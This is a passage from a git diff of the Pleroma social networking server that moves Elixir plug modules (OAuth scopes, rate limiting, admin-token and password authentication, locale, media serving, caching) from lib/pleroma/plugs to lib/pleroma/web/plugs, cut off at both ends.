a/lib/pleroma/plugs/o_auth_scopes_plug.ex +++ /dev/null @@ -1,77 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthScopesPlug do - import Plug.Conn - import Pleroma.Web.Gettext - - alias Pleroma.Config - - use Pleroma.Web, :plug - - def init(%{scopes: _} = options), do: options - - @impl true - def perform(%Plug.Conn{assigns: assigns} = conn, %{scopes: scopes} = options) do - op = options[:op] || :| - token = assigns[:token] - - scopes = transform_scopes(scopes, options) - matched_scopes = (token && filter_descendants(scopes, token.scopes)) || [] - - cond do - token && op == :| && Enum.any?(matched_scopes) -> - conn - - token && op == :& && matched_scopes == scopes -> - conn - - options[:fallback] == :proceed_unauthenticated -> - drop_auth_info(conn) - - true -> - missing_scopes = scopes -- matched_scopes - permissions = Enum.join(missing_scopes, " #{op} ") - - error_message = - dgettext("errors", "Insufficient permissions: %{permissions}.", permissions: permissions) - - conn - |> put_resp_content_type("application/json") - |> send_resp(:forbidden, Jason.encode!(%{error: error_message})) - |> halt() - end - end - - @doc "Drops authentication info from connection" - def drop_auth_info(conn) do - # To simplify debugging, setting a private variable on `conn` if auth info is dropped - conn - |> put_private(:authentication_ignored, true) - |> assign(:user, nil) - |> assign(:token, nil) - end - - @doc "Keeps those of `scopes` which are descendants of `supported_scopes`" - def filter_descendants(scopes, supported_scopes) do - Enum.filter( - scopes, - fn scope -> - Enum.find( - supported_scopes, - &(scope == &1 || String.starts_with?(scope, &1 <> ":")) - ) - end - ) - end - - @doc "Transforms scopes by applying supported options (e.g. :admin)" - def transform_scopes(scopes, options) do - if options[:admin] do - Config.oauth_admin_scopes(scopes) - else - scopes - end - end -end diff --git a/lib/pleroma/plugs/plug_helper.ex b/lib/pleroma/plugs/plug_helper.ex deleted file mode 100644 index 9c67be8ef..000000000 --- a/lib/pleroma/plugs/plug_helper.ex +++ /dev/null @@ -1,40 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.PlugHelper do - @moduledoc "Pleroma Plug helper" - - @called_plugs_list_id :called_plugs - def called_plugs_list_id, do: @called_plugs_list_id - - @skipped_plugs_list_id :skipped_plugs - def skipped_plugs_list_id, do: @skipped_plugs_list_id - - @doc "Returns `true` if specified plug was called." - def plug_called?(conn, plug_module) do - contained_in_private_list?(conn, @called_plugs_list_id, plug_module) - end - - @doc "Returns `true` if specified plug was explicitly marked as skipped." - def plug_skipped?(conn, plug_module) do - contained_in_private_list?(conn, @skipped_plugs_list_id, plug_module) - end - - @doc "Returns `true` if specified plug was either called or explicitly marked as skipped." - def plug_called_or_skipped?(conn, plug_module) do - plug_called?(conn, plug_module) || plug_skipped?(conn, plug_module) - end - - # Appends plug to known list (skipped, called). Intended to be used from within plug code only. - def append_to_private_list(conn, list_id, value) do - list = conn.private[list_id] || [] - modified_list = Enum.uniq(list ++ [value]) - Plug.Conn.put_private(conn, list_id, modified_list) - end - - defp contained_in_private_list?(conn, private_variable, value) do - list = conn.private[private_variable] || [] - value in list - end -end diff --git a/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex b/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex deleted file mode 100644 index 0bf5aadfb..000000000 --- a/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex +++ /dev/null @@ -1,54 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RateLimiter.LimiterSupervisor do - use DynamicSupervisor - - import Cachex.Spec - - def start_link(init_arg) do - DynamicSupervisor.start_link(__MODULE__, init_arg, name: __MODULE__) - end - - def add_or_return_limiter(limiter_name, expiration) do - result = - DynamicSupervisor.start_child( - __MODULE__, - %{ - id: String.to_atom("rl_#{limiter_name}"), - start: - {Cachex, :start_link, - [ - limiter_name, - [ - expiration: - expiration( - default: expiration, - interval: check_interval(expiration), - lazy: true - ) - ] - ]} - } - ) - - case result do - {:ok, _pid} = result -> result - {:error, {:already_started, pid}} -> {:ok, pid} - _ -> result - end - end - - @impl true - def init(_init_arg) do - DynamicSupervisor.init(strategy: :one_for_one) - end - - defp check_interval(exp) do - (exp / 2) - |> Kernel.trunc() - |> Kernel.min(5000) - |> Kernel.max(1) - end -end diff --git a/lib/pleroma/plugs/rate_limiter/rate_limiter.ex b/lib/pleroma/plugs/rate_limiter/rate_limiter.ex deleted file mode 100644 index c51e2c634..000000000 --- a/lib/pleroma/plugs/rate_limiter/rate_limiter.ex +++ /dev/null @@ -1,267 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RateLimiter do - @moduledoc """ - - ## Configuration - - A keyword list of rate limiters where a key is a limiter name and value is the limiter configuration. - The basic configuration is a tuple where: - - * The first element: `scale` (Integer). The time scale in milliseconds. - * The second element: `limit` (Integer). How many requests to limit in the time scale provided. - - It is also possible to have different limits for unauthenticated and authenticated users: the keyword value must be a - list of two tuples where the first one is a config for unauthenticated users and the second one is for authenticated. - - To disable a limiter set its value to `nil`. - - ### Example - - config :pleroma, :rate_limit, - one: {1000, 10}, - two: [{10_000, 10}, {10_000, 50}], - foobar: nil - - Here we have three limiters: - - * `one` which is not over 10req/1s - * `two` which has two limits: 10req/10s for unauthenticated users and 50req/10s for authenticated users - * `foobar` which is disabled - - ## Usage - - AllowedSyntax: - - plug(Pleroma.Plugs.RateLimiter, name: :limiter_name) - plug(Pleroma.Plugs.RateLimiter, options) # :name is a required option - - Allowed options: - - * `name` required, always used to fetch the limit values from the config - * `bucket_name` overrides name for counting purposes (e.g. to have a separate limit for a set of actions) - * `params` appends values of specified request params (e.g. ["id"]) to bucket name - - Inside a controller: - - plug(Pleroma.Plugs.RateLimiter, [name: :one] when action == :one) - plug(Pleroma.Plugs.RateLimiter, [name: :two] when action in [:two, :three]) - - plug( - Pleroma.Plugs.RateLimiter, - [name: :status_id_action, bucket_name: "status_id_action:fav_unfav", params: ["id"]] - when action in ~w(fav_status unfav_status)a - ) - - or inside a router pipeline: - - pipeline :api do - ... - plug(Pleroma.Plugs.RateLimiter, name: :one) - ... - end - """ - import Pleroma.Web.TranslationHelpers - import Plug.Conn - - alias Pleroma.Config - alias Pleroma.Plugs.RateLimiter.LimiterSupervisor - alias Pleroma.User - - require Logger - - @doc false - def init(plug_opts) do - plug_opts - end - - def call(conn, plug_opts) do - if disabled?(conn) do - handle_disabled(conn) - else - action_settings = action_settings(plug_opts) - handle(conn, action_settings) - end - end - - defp handle_disabled(conn) do - Logger.warn( - "Rate limiter disabled due to forwarded IP not being found. Please ensure your reverse proxy is providing the X-Forwarded-For header or disable the RemoteIP plug/rate limiter." - ) - - conn - end - - defp handle(conn, nil), do: conn - - defp handle(conn, action_settings) do - action_settings - |> incorporate_conn_info(conn) - |> check_rate() - |> case do - {:ok, _count} -> - conn - - {:error, _count} -> - render_throttled_error(conn) - end - end - - def disabled?(conn) do - if Map.has_key?(conn.assigns, :remote_ip_found), - do: !conn.assigns.remote_ip_found, - else: false - end - - @inspect_bucket_not_found {:error, :not_found} - - def inspect_bucket(conn, bucket_name_root, plug_opts) do - with %{name: _} = action_settings <- action_settings(plug_opts) do - action_settings = incorporate_conn_info(action_settings, conn) - bucket_name = make_bucket_name(%{action_settings | name: bucket_name_root}) - key_name = make_key_name(action_settings) - limit = get_limits(action_settings) - - case Cachex.get(bucket_name, key_name) do - {:error, :no_cache} -> - @inspect_bucket_not_found - - {:ok, nil} -> - {0, limit} - - {:ok, value} -> - {value, limit - value} - end - else - _ -> @inspect_bucket_not_found - end - end - - def action_settings(plug_opts) do - with limiter_name when is_atom(limiter_name) <- plug_opts[:name], - limits when not is_nil(limits) <- Config.get([:rate_limit, limiter_name]) do - bucket_name_root = Keyword.get(plug_opts, :bucket_name, limiter_name) - - %{ - name: bucket_name_root, - limits: limits, - opts: plug_opts - } - end - end - - defp check_rate(action_settings) do - bucket_name = make_bucket_name(action_settings) - key_name = make_key_name(action_settings) - limit = get_limits(action_settings) - - case Cachex.get_and_update(bucket_name, key_name, &increment_value(&1, limit)) do - {:commit, value} -> - {:ok, value} - - {:ignore, value} -> - {:error, value} - - {:error, :no_cache} -> - initialize_buckets!(action_settings) - check_rate(action_settings) - end - end - - defp increment_value(nil, _limit), do: {:commit, 1} - - defp increment_value(val, limit) when val >= limit, do: {:ignore, val} - - defp increment_value(val, _limit), do: {:commit, val + 1} - - defp incorporate_conn_info(action_settings, %{ - assigns: %{user: %User{id: user_id}}, - params: params - }) do - Map.merge(action_settings, %{ - mode: :user, - conn_params: params, - conn_info: "#{user_id}" - }) - end - - defp incorporate_conn_info(action_settings, %{params: params} = conn) do - Map.merge(action_settings, %{ - mode: :anon, - conn_params: params, - conn_info: "#{ip(conn)}" - }) - end - - defp ip(%{remote_ip: remote_ip}) do - remote_ip - |> Tuple.to_list() - |> Enum.join(".") - end - - defp render_throttled_error(conn) do - conn - |> render_error(:too_many_requests, "Throttled") - |> halt() - end - - defp make_key_name(action_settings) do - "" - |> attach_selected_params(action_settings) - |> attach_identity(action_settings) - end - - defp get_scale(_, {scale, _}), do: scale - - defp get_scale(:anon, [{scale, _}, {_, _}]), do: scale - - defp get_scale(:user, [{_, _}, {scale, _}]), do: scale - - defp get_limits(%{limits: {_scale, limit}}), do: limit - - defp get_limits(%{mode: :user, limits: [_, {_, limit}]}), do: limit - - defp get_limits(%{limits: [{_, limit}, _]}), do: limit - - defp make_bucket_name(%{mode: :user, name: bucket_name_root}), - do: user_bucket_name(bucket_name_root) - - defp make_bucket_name(%{mode: :anon, name: bucket_name_root}), - do: anon_bucket_name(bucket_name_root) - - defp attach_selected_params(input, %{conn_params: conn_params, opts: plug_opts}) do - params_string = - plug_opts - |> Keyword.get(:params, []) - |> Enum.sort() - |> Enum.map(&Map.get(conn_params, &1, "")) - |> Enum.join(":") - - [input, params_string] - |> Enum.join(":") - |> String.replace_leading(":", "") - end - - defp initialize_buckets!(%{name: _name, limits: nil}), do: :ok - - defp initialize_buckets!(%{name: name, limits: limits}) do - {:ok, _pid} = - LimiterSupervisor.add_or_return_limiter(anon_bucket_name(name), get_scale(:anon, limits)) - - {:ok, _pid} = - LimiterSupervisor.add_or_return_limiter(user_bucket_name(name), get_scale(:user, limits)) - - :ok - end - - defp attach_identity(base, %{mode: :user, conn_info: conn_info}), - do: "user:#{base}:#{conn_info}" - - defp attach_identity(base, %{mode: :anon, conn_info: conn_info}), - do: "ip:#{base}:#{conn_info}" - - defp user_bucket_name(bucket_name_root), do: "user:#{bucket_name_root}" |> String.to_atom() - defp anon_bucket_name(bucket_name_root), do: "anon:#{bucket_name_root}" |> String.to_atom() -end diff --git a/lib/pleroma/plugs/rate_limiter/supervisor.ex b/lib/pleroma/plugs/rate_limiter/supervisor.ex deleted file mode 100644 index ce196df52..000000000 --- a/lib/pleroma/plugs/rate_limiter/supervisor.ex +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RateLimiter.Supervisor do - use Supervisor - - def start_link(opts) do - Supervisor.start_link(__MODULE__, opts, name: __MODULE__) - end - - def init(_args) do - children = [ - Pleroma.Plugs.RateLimiter.LimiterSupervisor - ] - - opts = [strategy: :one_for_one, name: Pleroma.Web.Streamer.Supervisor] - Supervisor.init(children, opts) - end -end diff --git a/lib/pleroma/plugs/remote_ip.ex b/lib/pleroma/plugs/remote_ip.ex deleted file mode 100644 index 987022156..000000000 --- a/lib/pleroma/plugs/remote_ip.ex +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RemoteIp do - @moduledoc """ - This is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. - """ - - alias Pleroma.Config - import Plug.Conn - - @behaviour Plug - - def init(_), do: nil - - def call(%{remote_ip: original_remote_ip} = conn, _) do - if Config.get([__MODULE__, :enabled]) do - %{remote_ip: new_remote_ip} = conn = RemoteIp.call(conn, remote_ip_opts()) - assign(conn, :remote_ip_found, original_remote_ip != new_remote_ip) - else - conn - end - end - - defp remote_ip_opts do - headers = Config.get([__MODULE__, :headers], []) |> MapSet.new() - reserved = Config.get([__MODULE__, :reserved], []) - - proxies = - Config.get([__MODULE__, :proxies], []) - |> Enum.concat(reserved) - |> Enum.map(&maybe_add_cidr/1) - - {headers, proxies} - end - - defp maybe_add_cidr(proxy) when is_binary(proxy) do - proxy = - cond do - "/" in String.codepoints(proxy) -> proxy - InetCidr.v4?(InetCidr.parse_address!(proxy)) -> proxy <> "/32" - InetCidr.v6?(InetCidr.parse_address!(proxy)) -> proxy <> "/128" - end - - InetCidr.parse(proxy, true) - end -end diff --git a/lib/pleroma/plugs/session_authentication_plug.ex b/lib/pleroma/plugs/session_authentication_plug.ex deleted file mode 100644 index 0f83a5e53..000000000 --- a/lib/pleroma/plugs/session_authentication_plug.ex +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SessionAuthenticationPlug do - import Plug.Conn - - def init(options) do - options - end - - def call(conn, _) do - with saved_user_id <- get_session(conn, :user_id), - %{auth_user: %{id: ^saved_user_id}} <- conn.assigns do - conn - |> assign(:user, conn.assigns.auth_user) - else - _ -> conn - end - end -end diff --git a/lib/pleroma/plugs/set_format_plug.ex b/lib/pleroma/plugs/set_format_plug.ex deleted file mode 100644 index c03fcb28d..000000000 --- a/lib/pleroma/plugs/set_format_plug.ex +++ /dev/null @@ -1,24 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetFormatPlug do - import Plug.Conn, only: [assign: 3, fetch_query_params: 1] - - def init(_), do: nil - - def call(conn, _) do - case get_format(conn) do - nil -> conn - format -> assign(conn, :format, format) - end - end - - defp get_format(conn) do - conn.private[:phoenix_format] || - case fetch_query_params(conn) do - %{query_params: %{"_format" => format}} -> format - _ -> nil - end - end -end diff --git a/lib/pleroma/plugs/set_locale_plug.ex b/lib/pleroma/plugs/set_locale_plug.ex deleted file mode 100644 index 9a21d0a9d..000000000 --- a/lib/pleroma/plugs/set_locale_plug.ex +++ /dev/null @@ -1,63 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -# NOTE: this module is based on https://github.com/smeevil/set_locale -defmodule Pleroma.Plugs.SetLocalePlug do - import Plug.Conn, only: [get_req_header: 2, assign: 3] - - def init(_), do: nil - - def call(conn, _) do - locale = get_locale_from_header(conn) || Gettext.get_locale() - Gettext.put_locale(locale) - assign(conn, :locale, locale) - end - - defp get_locale_from_header(conn) do - conn - |> extract_accept_language() - |> Enum.find(&supported_locale?/1) - end - - defp extract_accept_language(conn) do - case get_req_header(conn, "accept-language") do - [value | _] -> - value - |> String.split(",") - |> Enum.map(&parse_language_option/1) - |> Enum.sort(&(&1.quality > &2.quality)) - |> Enum.map(& &1.tag) - |> Enum.reject(&is_nil/1) - |> ensure_language_fallbacks() - - _ -> - [] - end - end - - defp supported_locale?(locale) do - Pleroma.Web.Gettext - |> Gettext.known_locales() - |> Enum.member?(locale) - end - - defp parse_language_option(string) do - captures = Regex.named_captures(~r/^\s?(?<tag>[\w\-]+)(?:;q=(?<quality>[\d\.]+))?$/i, string) - - quality = - case Float.parse(captures["quality"] || "1.0") do - {val, _} -> val - :error -> 1.0 - end - - %{tag: captures["tag"], quality: quality} - end - - defp ensure_language_fallbacks(tags) do - Enum.flat_map(tags, fn tag -> - [language | _] = String.split(tag, "-") - if Enum.member?(tags, language), do: [tag], else: [tag, language] - end) - end -end diff --git a/lib/pleroma/plugs/set_user_session_id_plug.ex b/lib/pleroma/plugs/set_user_session_id_plug.ex deleted file mode 100644 index 730c4ac74..000000000 --- a/lib/pleroma/plugs/set_user_session_id_plug.ex +++ /dev/null @@ -1,19 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetUserSessionIdPlug do - import Plug.Conn - alias Pleroma.User - - def init(opts) do - opts - end - - def call(%{assigns: %{user: %User{id: id}}} = conn, _) do - conn - |> put_session(:user_id, id) - end - - def call(conn, _), do: conn -end diff --git a/lib/pleroma/plugs/static_fe_plug.ex b/lib/pleroma/plugs/static_fe_plug.ex deleted file mode 100644 index 143665c71..000000000 --- a/lib/pleroma/plugs/static_fe_plug.ex +++ /dev/null @@ -1,26 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.StaticFEPlug do - import Plug.Conn - alias Pleroma.Web.StaticFE.StaticFEController - - def init(options), do: options - - def call(conn, _) do - if enabled?() and requires_html?(conn) do - conn - |> StaticFEController.call(:show) - |> halt() - else - conn - end - end - - defp enabled?, do: Pleroma.Config.get([:static_fe, :enabled], false) - - defp requires_html?(conn) do - Phoenix.Controller.get_format(conn) == "html" - end -end diff --git a/lib/pleroma/plugs/trailing_format_plug.ex b/lib/pleroma/plugs/trailing_format_plug.ex deleted file mode 100644 index 8b4d5fc9f..000000000 --- a/lib/pleroma/plugs/trailing_format_plug.ex +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.TrailingFormatPlug do - @moduledoc "Calls TrailingFormatPlug for specific paths. Ideally we would just do this in the router, but TrailingFormatPlug needs to be called before Plug.Parsers." - - @behaviour Plug - @paths [ - "/api/statusnet", - "/api/statuses", - "/api/qvitter", - "/api/search", - "/api/account", - "/api/friends", - "/api/mutes", - "/api/media", - "/api/favorites", - "/api/blocks", - "/api/friendships", - "/api/users", - "/users", - "/nodeinfo", - "/api/help", - "/api/externalprofile", - "/notice", - "/api/pleroma/emoji", - "/api/oauth_tokens" - ] - - def init(opts) do - TrailingFormatPlug.init(opts) - end - - for path <- @paths do - def call(%{request_path: unquote(path) <> _} = conn, opts) do - TrailingFormatPlug.call(conn, opts) - end - end - - def call(conn, _opts), do: conn -end diff --git a/lib/pleroma/plugs/uploaded_media.ex b/lib/pleroma/plugs/uploaded_media.ex deleted file mode 100644 index 40984cfc0..000000000 --- a/lib/pleroma/plugs/uploaded_media.ex +++ /dev/null @@ -1,107 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UploadedMedia do - @moduledoc """ - """ - - import Plug.Conn - import Pleroma.Web.Gettext - require Logger - - alias Pleroma.Web.MediaProxy - - @behaviour Plug - # no slashes - @path "media" - - @default_cache_control_header "public, max-age=1209600" - - def init(_opts) do - static_plug_opts = - [ - headers: %{"cache-control" => @default_cache_control_header}, - cache_control_for_etags: @default_cache_control_header - ] - |> Keyword.put(:from, "__unconfigured_media_plug") - |> Keyword.put(:at, "/__unconfigured_media_plug") - |> Plug.Static.init() - - %{static_plug_opts: static_plug_opts} - end - - def call(%{request_path: <<"/", @path, "/", file::binary>>} = conn, opts) do - conn = - case fetch_query_params(conn) do - %{query_params: %{"name" => name}} = conn -> - name = String.replace(name, "\"", "\\\"") - - put_resp_header(conn, "content-disposition", "filename=\"#{name}\"") - - conn -> - conn - end - |> merge_resp_headers([{"content-security-policy", "sandbox"}]) - - config = Pleroma.Config.get(Pleroma.Upload) - - with uploader <- Keyword.fetch!(config, :uploader), - proxy_remote = Keyword.get(config, :proxy_remote, false), - {:ok, get_method} <- uploader.get_file(file), - false <- media_is_banned(conn, get_method) do - get_media(conn, get_method, proxy_remote, opts) - else - _ -> - conn - |> send_resp(:internal_server_error, dgettext("errors", "Failed")) - |> halt() - end - end - - def call(conn, _opts), do: conn - - defp media_is_banned(%{request_path: path} = _conn, {:static_dir, _}) do - MediaProxy.in_banned_urls(Pleroma.Web.base_url() <> path) - end - - defp media_is_banned(_, {:url, url}), do: MediaProxy.in_banned_urls(url) - - defp media_is_banned(_, _), do: false - - defp get_media(conn, {:static_dir, directory}, _, opts) do - static_opts = - Map.get(opts, :static_plug_opts) - |> Map.put(:at, [@path]) - |> Map.put(:from, directory) - - conn = Plug.Static.call(conn, static_opts) - - if conn.halted do - conn - else - conn - |> send_resp(:not_found, dgettext("errors", "Not found")) - |> halt() - end - end - - defp get_media(conn, {:url, url}, true, _) do - conn - |> Pleroma.ReverseProxy.call(url, Pleroma.Config.get([Pleroma.Upload, :proxy_opts], [])) - end - - defp get_media(conn, {:url, url}, _, _) do - conn - |> Phoenix.Controller.redirect(external: url) - |> halt() - end - - defp get_media(conn, unknown, _, _) do - Logger.error("#{__MODULE__}: Unknown get startegy: #{inspect(unknown)}") - - conn - |> send_resp(:internal_server_error, dgettext("errors", "Internal Error")) - |> halt() - end -end diff --git a/lib/pleroma/plugs/user_enabled_plug.ex b/lib/pleroma/plugs/user_enabled_plug.ex deleted file mode 100644 index 23e800a74..000000000 --- a/lib/pleroma/plugs/user_enabled_plug.ex +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserEnabledPlug do - import Plug.Conn - alias Pleroma.User - - def init(options) do - options - end - - def call(%{assigns: %{user: %User{} = user}} = conn, _) do - case User.account_status(user) do - :active -> conn - _ -> assign(conn, :user, nil) - end - end - - def call(conn, _) do - conn - end -end diff --git a/lib/pleroma/plugs/user_fetcher_plug.ex b/lib/pleroma/plugs/user_fetcher_plug.ex deleted file mode 100644 index 235c77d85..000000000 --- a/lib/pleroma/plugs/user_fetcher_plug.ex +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserFetcherPlug do - alias Pleroma.User - import Plug.Conn - - def init(options) do - options - end - - def call(conn, _options) do - with %{auth_credentials: %{username: username}} <- conn.assigns, - %User{} = user <- User.get_by_nickname_or_email(username) do - assign(conn, :auth_user, user) - else - _ -> conn - end - end -end diff --git a/lib/pleroma/plugs/user_is_admin_plug.ex b/lib/pleroma/plugs/user_is_admin_plug.ex deleted file mode 100644 index 488a61d1d..000000000 --- a/lib/pleroma/plugs/user_is_admin_plug.ex +++ /dev/null @@ -1,24 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserIsAdminPlug do - import Pleroma.Web.TranslationHelpers - import Plug.Conn - - alias Pleroma.User - - def init(options) do - options - end - - def call(%{assigns: %{user: %User{is_admin: true}}} = conn, _) do - conn - end - - def call(conn, _) do - conn - |> render_error(:forbidden, "User is not an admin.") - |> halt() - end -end diff --git a/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex b/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex new file mode 100644 index 000000000..2e54df47a --- /dev/null +++ b/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.AdminSecretAuthenticationPlug do + import Plug.Conn + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.RateLimiter + alias Pleroma.User + + def init(options) do + options + end + + def secret_token do + case Pleroma.Config.get(:admin_token) do + blank when blank in [nil, ""] -> nil + token -> token + end + end + + def call(%{assigns: %{user: %User{}}} = conn, _), do: conn + + def call(conn, _) do + if secret_token() do + authenticate(conn) + else + conn + end + end + + def authenticate(%{params: %{"admin_token" => admin_token}} = conn) do + if admin_token == secret_token() do + assign_admin_user(conn) + else + handle_bad_token(conn) + end + end + + def authenticate(conn) do + token = secret_token() + + case get_req_header(conn, "x-admin-token") do + blank when blank in [[], [""]] -> conn + [^token] -> assign_admin_user(conn) + _ -> handle_bad_token(conn) + end + end + + defp assign_admin_user(conn) do + conn + |> assign(:user, %User{is_admin: true}) + |> OAuthScopesPlug.skip_plug() + end + + defp handle_bad_token(conn) do + RateLimiter.call(conn, name: :authentication) + end +end diff --git a/lib/pleroma/web/plugs/authentication_plug.ex b/lib/pleroma/web/plugs/authentication_plug.ex new file mode 100644 index 000000000..057ea42f1 --- /dev/null +++ b/lib/pleroma/web/plugs/authentication_plug.ex @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.AuthenticationPlug do + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + + import Plug.Conn + + require Logger + + def init(options), do: options + + def checkpw(password, "$6" <> _ = password_hash) do + :crypt.crypt(password, password_hash) == password_hash + end + + def checkpw(password, "$2" <> _ = password_hash) do + # Handle bcrypt passwords for Mastodon migration + Bcrypt.verify_pass(password, password_hash) + end + + def checkpw(password, "$pbkdf2" <> _ = password_hash) do + Pbkdf2.verify_pass(password, password_hash) + end + + def checkpw(_password, _password_hash) do + Logger.error("Password hash not recognized") + false + end + + def maybe_update_password(%User{password_hash: "$2" <> _} = user, password) do + do_update_password(user, password) + end + + def maybe_update_password(%User{password_hash: "$6" <> _} = user, password) do + do_update_password(user, password) + end + + def maybe_update_password(user, _), do: {:ok, user} + + defp do_update_password(user, password) do + user + |> User.password_update_changeset(%{ + "password" => password, + "password_confirmation" => password + }) + |> Pleroma.Repo.update() + end + + def call(%{assigns: %{user: %User{}}} = conn, _), do: conn + + def call( + %{ + assigns: %{ + auth_user: %{password_hash: password_hash} = auth_user, + auth_credentials: %{password: password} + } + } = conn, + _ + ) do + if checkpw(password, password_hash) do + {:ok, auth_user} = maybe_update_password(auth_user, password) + + conn + |> assign(:user, auth_user) + |> OAuthScopesPlug.skip_plug() + else + conn + end + end + + def call(%{assigns: %{auth_credentials: %{password: _}}} = conn, _) do + Pbkdf2.no_user_verify() + conn + end + + def call(conn, _), do: conn +end diff --git a/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex b/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex new file mode 100644 index 000000000..af7ecb0d8 --- /dev/null +++ b/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex @@ -0,0 +1,25 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.BasicAuthDecoderPlug do + import Plug.Conn + + def init(options) do + options + end + + def call(conn, _opts) do + with ["Basic " <> header] <- get_req_header(conn, "authorization"), + {:ok, userinfo} <- Base.decode64(header), + [username, password] <- String.split(userinfo, ":", parts: 2) do + conn + |> assign(:auth_credentials, %{ + username: username, + password: password + }) + else + _ -> conn + end + end +end diff --git a/lib/pleroma/web/plugs/cache.ex b/lib/pleroma/web/plugs/cache.ex new file mode 100644 index 000000000..f65c2a189 --- /dev/null +++ b/lib/pleroma/web/plugs/cache.ex @@ -0,0 +1,136 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.Cache do + @moduledoc """ + Caches successful GET responses. + + To enable the cache add the plug to a router pipeline or controller: + + plug(Pleroma.Plugs.Cache) + + ## Configuration + + To configure the plug you need to pass settings as the second argument to the `plug/2` macro: + + plug(Pleroma.Plugs.Cache, [ttl: nil, query_params: true]) + + Available options: + + - `ttl`: An expiration time (time-to-live). This value should be in milliseconds or `nil` to disable expiration. Defaults to `nil`. + - `query_params`: Take URL query string into account (`true`), ignore it (`false`) or limit to specific params only (list). Defaults to `true`. + - `tracking_fun`: A function that is called on successfull responses, no matter if the request is cached or not. It should accept a conn as the first argument and the value assigned to `tracking_fun_data` as the second. + + Additionally, you can overwrite the TTL inside a controller action by assigning `cache_ttl` to the connection struct: + + def index(conn, _params) do + ttl = 60_000 # one minute + + conn + |> assign(:cache_ttl, ttl) + |> render("index.html") + end + + """ + + import Phoenix.Controller, only: [current_path: 1, json: 2] + import Plug.Conn + + @behaviour Plug + + @defaults %{ttl: nil, query_params: true} + + @impl true + def init([]), do: @defaults + + def init(opts) do + opts = Map.new(opts) + Map.merge(@defaults, opts) + end + + @impl true + def call(%{method: "GET"} = conn, opts) do + key = cache_key(conn, opts) + + case Cachex.get(:web_resp_cache, key) do + {:ok, nil} 